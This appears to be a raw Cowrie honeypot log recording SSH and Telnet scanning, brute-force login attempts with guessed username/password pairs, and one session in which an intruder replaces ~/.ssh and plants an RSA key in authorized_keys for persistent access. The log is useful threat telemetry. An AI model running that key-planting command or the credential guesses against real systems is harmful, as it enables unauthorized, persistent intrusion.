{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:04.518088Z","src_ip":"222.108.100.117","session":"6996b6cb7779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:04.721841Z","src_ip":"222.108.100.117","session":"6996b6cb7779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootftp","password":"rootftp","message":"login attempt [rootftp/rootftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:05.576480Z","src_ip":"222.108.100.117","session":"6996b6cb7779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:06.784265Z","src_ip":"222.108.100.117","session":"6996b6cb7779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":32818,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce2c5e91ffd9","protocol":"ssh","message":"New connection: 162.144.58.21:32818 (159.203.135.109:22) [session: ce2c5e91ffd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:11.817395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:11.822196Z","src_ip":"162.144.58.21","session":"ce2c5e91ffd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":40854,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbca9e123506","protocol":"ssh","message":"New connection: 91.92.40.4:40854 (10.17.0.5:22) [session: cbca9e123506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:11.904331Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:11.914227Z","src_ip":"162.144.58.21","session":"ce2c5e91ffd9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:11.999945Z","src_ip":"91.92.40.4","session":"cbca9e123506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:12.089559Z","src_ip":"91.92.40.4","session":"cbca9e123506","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RVN!M@st3r#P@ss","message":"login attempt [root/RVN!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:12.183885Z","src_ip":"162.144.58.21","session":"ce2c5e91ffd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jira","password":"jira","message":"login attempt [jira/jira] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:12.787922Z","src_ip":"91.92.40.4","session":"cbca9e123506","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41504,"dst_ip":"159.203.135.109","dst_port":23,"session":"95fd004c0e6f","protocol":"telnet","message":"New connection: 170.64.224.25:41504 (159.203.135.109:23) [session: 95fd004c0e6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:13.053668Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:13.554517Z","src_ip":"162.144.58.21","session":"ce2c5e91ffd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:14.081629Z","src_ip":"91.92.40.4","session":"cbca9e123506","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63466763496399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:31.627785Z","src_ip":"116.44.232.40","session":"1e0472877b14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52046,"dst_ip":"159.203.135.109","dst_port":23,"session":"388bb77c26b2","protocol":"telnet","message":"New connection: 170.64.224.25:52046 (159.203.135.109:23) [session: 388bb77c26b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:35.399403Z"}
{"eventid":"cowrie.session.closed","duration":72.10867595672607,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:11:42.960352Z","src_ip":"143.198.154.150","session":"7b5e7620be40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":60024,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a7561fd9185","protocol":"telnet","message":"New connection: 107.6.151.170:60024 (159.203.135.109:23) [session: 9a7561fd9185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:00.229154Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":45642,"dst_ip":"159.203.135.109","dst_port":22,"session":"03d5d4fa6a1b","protocol":"ssh","message":"New connection: 157.230.18.133:45642 (159.203.135.109:22) [session: 03d5d4fa6a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:16.606567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:16.611326Z","src_ip":"157.230.18.133","session":"03d5d4fa6a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:16.702988Z","src_ip":"157.230.18.133","session":"03d5d4fa6a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"federation","password":"federation","message":"login attempt [federation/federation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:17.064102Z","src_ip":"157.230.18.133","session":"03d5d4fa6a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:18.152322Z","src_ip":"157.230.18.133","session":"03d5d4fa6a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":54752,"dst_ip":"159.203.135.109","dst_port":22,"session":"2940762ceba8","protocol":"ssh","message":"New connection: 103.98.149.87:54752 (159.203.135.109:22) [session: 2940762ceba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:18.362707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:18.367049Z","src_ip":"103.98.149.87","session":"2940762ceba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:18.586449Z","src_ip":"103.98.149.87","session":"2940762ceba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":55826,"dst_ip":"10.17.0.5","dst_port":22,"session":"da0e8ed1d223","protocol":"ssh","message":"New connection: 101.32.145.199:55826 (10.17.0.5:22) [session: da0e8ed1d223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:18.838952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:18.846807Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:19.090344Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"daxada","message":"login attempt [root/daxada] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:19.276491Z","src_ip":"103.98.149.87","session":"2940762ceba8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam321","message":"login attempt [steam/steam321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:20.061301Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:20.543280Z","src_ip":"103.98.149.87","session":"2940762ceba8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:20.614410Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:20.617626Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:20.621654Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:21.119596Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:21.417095Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:21.420126Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:21.670758Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:21.673914Z","src_ip":"101.32.145.199","session":"da0e8ed1d223","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":56970,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aa6f2974c52","protocol":"ssh","message":"New connection: 101.32.145.199:56970 (10.17.0.5:22) [session: 8aa6f2974c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:21.903496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:12:21.913997Z","src_ip":"101.32.145.199","session":"8aa6f2974c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@o